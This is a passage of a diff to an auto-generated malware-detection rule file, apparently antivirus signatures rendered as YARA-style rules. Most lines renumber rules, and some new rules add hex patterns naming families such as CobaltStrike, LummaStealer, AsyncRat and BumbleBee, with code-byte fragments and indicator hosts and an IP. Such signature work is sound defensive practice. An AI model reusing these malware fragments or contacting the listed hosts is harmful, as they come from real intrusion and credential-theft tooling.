_InfrastructureShared_5072{ +rule _InfrastructureShared_5283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52471,7 +54642,7 @@ rule _InfrastructureShared_5072{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5073{ +rule _InfrastructureShared_5284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52481,7 +54652,7 @@ rule _InfrastructureShared_5073{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5074{ +rule _InfrastructureShared_5285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52491,7 +54662,7 @@ rule _InfrastructureShared_5074{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5075{ +rule _InfrastructureShared_5286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52501,7 +54672,7 @@ rule _InfrastructureShared_5075{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5076{ +rule _InfrastructureShared_5287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52511,7 +54682,7 @@ rule _InfrastructureShared_5076{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5077{ +rule _InfrastructureShared_5288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52521,7 +54692,7 @@ rule _InfrastructureShared_5077{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5078{ +rule _InfrastructureShared_5289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52531,7 +54702,7 @@ rule _InfrastructureShared_5078{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5079{ +rule _InfrastructureShared_5290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52541,7 +54712,7 @@ rule _InfrastructureShared_5079{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5080{ +rule _InfrastructureShared_5291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52551,7 +54722,17 @@ rule _InfrastructureShared_5080{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5081{ +rule _InfrastructureShared_5292{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 47 50 52 21 4d 54 42 00 01 00 32 01 73 00 69 00 61 00 6e 00 67 00 65 00 65 00 74 00 65 00 63 00 68 00 2e 00 63 00 6f 00 6d 00 2f 00 52 00 79 00 6c 00 69 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_5293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52561,7 +54742,17 @@ rule _InfrastructureShared_5081{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5082{ +rule _InfrastructureShared_5294{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 47 50 50 21 4d 54 42 00 01 00 2a 03 2b d3 4f 31 1d 90 01 03 00 f7 da 21 15 90 01 03 00 c1 cf 10 33 f7 89 05 90 01 03 00 33 de 46 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_5295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52571,17 +54762,27 @@ rule _InfrastructureShared_5082{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5083{ +rule _InfrastructureShared_5296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 69 64 61 72 2e 41 44 21 4d 54 42 00 01 00 32 01 41 80 f2 ff 41 20 f2 41 88 fb 41 80 f3 ff 40 88 de 44 20 de 80 f3 ff 40 20 df 40 08 fe 45 88 d3 41 20 f3 41 30 f2 45 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 41 55 21 4d 54 42 00 01 00 33 01 0f 10 04 01 0f 28 ca 0f 57 c2 0f 11 04 01 0f 10 84 05 40 f5 ff ff 0f 57 c2 0f 11 84 05 40 f5 ff ff 0f 10 04 02 0f 57 c8 } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5084{ +rule _InfrastructureShared_5297{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 49 5a 21 4d 54 42 00 01 00 2b 03 48 89 c3 39 f7 7e 90 01 01 48 89 f0 44 8a 6c 35 90 01 01 83 e0 90 01 01 45 32 2c 04 ff 15 90 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_5298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52591,7 +54792,7 @@ rule _InfrastructureShared_5084{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5085{ +rule _InfrastructureShared_5299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52601,7 +54802,7 @@ rule _InfrastructureShared_5085{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_5086{ +rule _InfrastructureShared_5300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -52611,7 +54812,7 @@ rule _InfrastructureShared_5086{ ((#a_63_0 & 1)*25891) >=1 } -rule _InfrastructureShared_5087{ +rule _InfrastructureShared_5301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -52622,7 +54823,7 @@ rule _InfrastructureShared_5087{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*14637) >=1 } -rule _InfrastructureShared_5088{ +rule _InfrastructureShared_5302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -52632,7 +54833,7 @@ rule _InfrastructureShared_5088{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5089{ +rule _InfrastructureShared_5303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -52642,7 +54843,7 @@ rule _InfrastructureShared_5089{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5090{ +rule _InfrastructureShared_5304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -52652,7 +54853,7 @@ rule _InfrastructureShared_5090{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5091{ +rule _InfrastructureShared_5305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -52662,7 +54863,7 @@ rule _InfrastructureShared_5091{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5092{ +rule _InfrastructureShared_5306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -52672,7 +54873,7 @@ rule _InfrastructureShared_5092{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5093{ +rule _InfrastructureShared_5307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -52682,7 +54883,7 @@ rule _InfrastructureShared_5093{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5094{ +rule _InfrastructureShared_5308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -52692,7 +54893,7 @@ rule _InfrastructureShared_5094{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5095{ +rule _InfrastructureShared_5309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -52702,7 +54903,7 @@ rule _InfrastructureShared_5095{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5096{ +rule _InfrastructureShared_5310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -52712,7 +54913,47 @@ rule _InfrastructureShared_5096{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5097{ +rule _InfrastructureShared_5311{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 61 74 2e 42 56 4c 21 4d 54 42 00 02 00 2f 01 49 00 67 00 31 00 41 00 51 00 43 00 49 00 4e 00 51 00 45 00 41 00 4f 00 77 00 4c 00 31 00 72 00 58 00 6d 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_5312{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 62 6f 6f 6b 2e 45 4b 55 4a 21 4d 54 42 00 02 00 2e 03 26 11 0f 20 86 00 00 00 91 13 0e 2b 9f 05 90 01 05 61 02 61 0a 90 01 05 0c 08 90 01 05 25 06 93 0b 06 18 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_5313{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 2e 45 44 53 4c 21 4d 54 42 00 02 00 2f 02 16 13 04 2b 24 09 08 11 04 8f 10 01 00 01 72 35 04 00 70 90 01 07 00 00 0a 90 01 02 00 00 0a 26 11 04 17 58 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_5314{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 46 42 56 4c 21 4d 54 42 00 02 00 29 03 45 8b 32 4d 8b 04 24 49 8b 4c 24 90 01 01 49 2b c8 33 d2 49 8b c3 48 f7 f1 42 0f b6 04 02 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_5315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52723,7 +54964,7 @@ rule _InfrastructureShared_5097{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-9724) >=2 } -rule _InfrastructureShared_5098{ +rule _InfrastructureShared_5316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52734,7 +54975,7 @@ rule _InfrastructureShared_5098{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*31278) >=2 } -rule _InfrastructureShared_5099{ +rule _InfrastructureShared_5317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52745,7 +54986,7 @@ rule _InfrastructureShared_5099{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*98) >=2 } -rule _InfrastructureShared_5100{ +rule _InfrastructureShared_5318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52756,7 +54997,7 @@ rule _InfrastructureShared_5100{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*18690) >=2 } -rule _InfrastructureShared_5101{ +rule _InfrastructureShared_5319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52767,7 +55008,7 @@ rule _InfrastructureShared_5101{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-7937) >=2 } -rule _InfrastructureShared_5102{ +rule _InfrastructureShared_5320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52778,7 +55019,7 @@ rule _InfrastructureShared_5102{ ((#a_46_0 & 1)*16675+(#a_c3_1 & 1)*22865) >=2 } -rule _InfrastructureShared_5103{ +rule _InfrastructureShared_5321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52789,7 +55030,7 @@ rule _InfrastructureShared_5103{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*12064) >=2 } -rule _InfrastructureShared_5104{ +rule _InfrastructureShared_5322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52800,7 +55041,7 @@ rule _InfrastructureShared_5104{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*25390) >=2 } -rule _InfrastructureShared_5105{ +rule _InfrastructureShared_5323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52810,7 +55051,7 @@ rule _InfrastructureShared_5105{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5106{ +rule _InfrastructureShared_5324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52820,7 +55061,7 @@ rule _InfrastructureShared_5106{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5107{ +rule _InfrastructureShared_5325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52830,7 +55071,7 @@ rule _InfrastructureShared_5107{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5108{ +rule _InfrastructureShared_5326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52840,7 +55081,7 @@ rule _InfrastructureShared_5108{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5109{ +rule _InfrastructureShared_5327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52850,7 +55091,7 @@ rule _InfrastructureShared_5109{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5110{ +rule _InfrastructureShared_5328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52860,7 +55101,7 @@ rule _InfrastructureShared_5110{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5111{ +rule _InfrastructureShared_5329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52870,7 +55111,7 @@ rule _InfrastructureShared_5111{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5112{ +rule _InfrastructureShared_5330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -52880,42 +55121,63 @@ rule _InfrastructureShared_5112{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_5113{ +rule _InfrastructureShared_5331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 4b 4b 00 01 00 1d 01 60 89 e5 31 d2 64 8b 52 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff 31 c0 ac 3c 61 01 00 0f 01 8b 52 10 8b 42 3c 01 d0 8b 40 78 } //21283 - $a_4a_1 = {00 78 5e 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 43 6f 6e 73 74 72 75 63 74 6f 72 3a 57 69 6e 33 32 2f 43 79 62 65 72 47 61 74 65 2e 41 21 52 41 54 00 01 00 10 01 63 79 62 65 72 2d 70 6c 61 6e 65 74 2e 6f 72 67 01 00 05 01 43 79 62 65 72 01 00 0d 01 42 61 6c 6f 6f 6e 20 54 6f 6f 54 69 70 00 00 78 5e 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 56 } //-16251 + $a_4a_1 = {00 78 5e 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 41 57 21 4d 54 42 00 01 00 1d 01 01 0d 07 0e 04 0e 04 8e 69 12 04 11 06 11 06 8e 69 09 09 8e 69 12 07 16 28 07 04 00 06 01 00 0f 00 50 69 63 61 73 73 6f 2e 70 61 79 6c 6f 61 64 00 00 78 5e 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 43 } //-16251 condition: ((#a_46_0 & 1)*21283+(#a_4a_1 & 1)*-16251) >=2 } -rule _InfrastructureShared_5114{ +rule _InfrastructureShared_5332{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 41 57 21 4d 54 42 00 01 00 1d 01 01 0d 07 0e 04 0e 04 8e 69 12 04 11 06 11 06 8e 69 09 09 8e 69 12 07 16 28 07 04 00 06 01 00 0f 00 50 69 63 61 } //21539 + $a_2e_1 = {61 79 6c 6f 61 64 00 00 78 5e 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 43 6f 6e 73 74 72 75 63 74 6f 72 3a 57 69 6e 33 32 2f 43 79 62 65 72 47 61 74 65 2e 41 21 52 41 54 00 01 00 10 01 63 79 62 65 72 2d 70 6c 61 6e 65 74 2e 6f 72 67 01 00 05 01 43 79 62 65 72 01 00 0d 01 42 61 6c 6f 6f 6e 20 54 6f 6f 54 69 70 00 00 78 5e 00 00 02 } //29555 + condition: + ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*29555) >=2 + +} +rule _InfrastructureShared_5333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {43 6f 6e 73 74 72 75 63 74 6f 72 3a 57 69 6e 33 32 2f 43 79 62 65 72 47 61 74 65 2e 41 21 52 41 54 00 01 00 10 01 63 79 62 65 72 2d 70 6c 61 6e 65 74 2e 6f 72 67 01 00 05 01 43 79 62 65 72 01 00 0d 01 42 61 6c 6f 6f 6e 20 54 6f } //16675 $a_70_1 = {00 78 5e 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 50 4a 00 01 00 0d 03 d2 c8 83 c0 74 90 09 03 00 81 7d 90 00 01 00 0d 03 5a bd ad 68 74 90 09 03 00 81 7d 90 00 01 00 0d 03 8c d4 31 a7 74 90 09 03 00 81 7d 90 00 00 00 78 5e 00 00 02 00 } //21615 - $a_00_2 = {21 23 56 } //2 !#V + $a_00_2 = {21 23 48 } //2 !#H condition: ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*21615+(#a_00_2 & 1)*2) >=2 } -rule _InfrastructureShared_5115{ +rule _InfrastructureShared_5334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 50 4a 00 01 00 0d 03 d2 c8 83 c0 74 90 09 03 00 81 7d 90 00 01 00 0d 03 5a bd ad 68 74 90 09 03 00 81 7d 90 00 01 00 0d 03 8c d4 31 a7 74 90 09 03 00 } //16675 - $a_00_1 = {00 00 78 5e 00 00 02 00 02 00 03 00 21 23 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 5f 4c 4f 44 2e 42 00 01 00 1b 03 68 00 00 00 00 68 90 01 02 40 00 e8 90 01 02 00 00 83 c4 0c 68 00 00 00 00 90 00 01 00 07 01 81 fb 60 ae 0a 00 75 01 00 07 01 81 fb 80 8d 5b 00 75 00 00 78 5e 00 00 02 00 02 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 13 00 63 6f 64 } //32129 - $a_66_2 = {20 70 77 20 73 74 65 61 6c 65 72 01 00 0c 01 5c 70 77 66 69 6c 65 2e 6c 6f 67 00 01 00 10 01 5c 6c 6f 67 65 6e 63 72 79 70 74 2e 6c 6f 67 00 00 00 78 5e 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 68 6f 77 43 6f 6e 46 6c 75 66 66 79 42 61 74 74 2e 43 41 21 64 68 61 00 03 00 24 01 33 61 } //29541 + $a_00_1 = {00 00 78 5e 00 00 02 00 02 00 03 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 39 00 02 00 0e 03 2e 74 63 70 90 01 24 2e 72 73 72 63 90 00 02 00 0e 03 2e 65 64 70 90 01 24 2e 72 73 72 63 90 00 02 00 15 03 2e 77 6f 72 6c 64 90 01 1e 40 00 00 40 2e 77 6f 72 6c 64 90 00 00 00 78 5e 00 00 02 00 02 00 03 00 21 23 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 5f 4c 4f 44 2e 42 00 01 } //32129 + $a_68_2 = {00 00 00 } //6912 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32129+(#a_66_2 & 1)*29541) >=2 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32129+(#a_68_2 & 1)*6912) >=2 } -rule _InfrastructureShared_5116{ +rule _InfrastructureShared_5335{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 31 39 00 02 00 0e 03 2e 74 63 70 90 01 24 2e 72 73 72 63 90 00 02 00 0e 03 2e 65 64 70 90 01 24 2e 72 73 72 63 90 00 02 00 15 03 2e 77 6f 72 6c 64 90 01 1e 40 00 00 40 2e 77 6f 72 6c 64 90 00 00 00 78 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=2 + +} +rule _InfrastructureShared_5336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -52927,7 +55189,7 @@ rule _InfrastructureShared_5116{ ((#a_72_0 & 1)*22051+(#a_73_1 & 1)*25974+(#a_6e_2 & 1)*17271) >=2 } -rule _InfrastructureShared_5117{ +rule _InfrastructureShared_5337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -52939,7 +55201,7 @@ rule _InfrastructureShared_5117{ ((#a_5f_0 & 1)*25635+(#a_68_1 & 1)*12082+(#a_6f_2 & 1)*21611) >=2 } -rule _InfrastructureShared_5118{ +rule _InfrastructureShared_5338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -52949,7 +55211,7 @@ rule _InfrastructureShared_5118{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_5119{ +rule _InfrastructureShared_5339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -52959,7 +55221,7 @@ rule _InfrastructureShared_5119{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_5120{ +rule _InfrastructureShared_5340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -52969,7 +55231,17 @@ rule _InfrastructureShared_5120{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_5121{ +rule _InfrastructureShared_5341{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 36 34 2f 42 75 6d 62 6c 65 42 65 65 2e 47 56 41 31 00 02 00 0c 01 34 35 2e 31 35 35 2e 36 39 2e 34 37 01 00 26 01 48 6f 73 74 3a 20 70 75 62 2d 73 74 61 74 2d 39 39 39 2e 74 77 69 6c 69 67 68 74 70 61 72 61 64 6f 78 2e 63 6f 6d 00 00 78 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=3 + +} +rule _InfrastructureShared_5342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -52981,7 +55253,7 @@ rule _InfrastructureShared_5121{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30322+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_5122{ +rule _InfrastructureShared_5343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -52992,7 +55264,7 @@ rule _InfrastructureShared_5122{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28233) >=3 } -rule _InfrastructureShared_5123{ +rule _InfrastructureShared_5344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -53003,7 +55275,7 @@ rule _InfrastructureShared_5123{ ((#a_77_0 & 1)*16675+(#a_6e_1 & 1)*22330) >=3 } -rule _InfrastructureShared_5124{ +rule _InfrastructureShared_5345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -53015,7 +55287,7 @@ rule _InfrastructureShared_5124{ ((#a_77_0 & 1)*16675+(#a_3a_1 & 1)*29545+(#a_67_2 & 1)*27760) >=3 } -rule _InfrastructureShared_5125{ +rule _InfrastructureShared_5346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -53027,7 +55299,7 @@ rule _InfrastructureShared_5125{ ((#a_6c_0 & 1)*16675+(#a_69_1 & 1)*26980+(#a_41_2 & 1)*28271) >=3 } -rule _InfrastructureShared_5126{ +rule _InfrastructureShared_5347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -53037,7 +55309,7 @@ rule _InfrastructureShared_5126{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_5127{ +rule _InfrastructureShared_5348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -53047,7 +55319,7 @@ rule _InfrastructureShared_5127{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_5128{ +rule _InfrastructureShared_5349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -53057,7 +55329,7 @@ rule _InfrastructureShared_5128{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_5129{ +rule _InfrastructureShared_5350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -53067,7 +55339,7 @@ rule _InfrastructureShared_5129{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_5130{ +rule _InfrastructureShared_5351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -53077,7 +55349,17 @@ rule _InfrastructureShared_5130{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_5131{ +rule _InfrastructureShared_5352{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 50 31 21 4d 54 42 00 01 00 09 81 01 6b 70 68 65 73 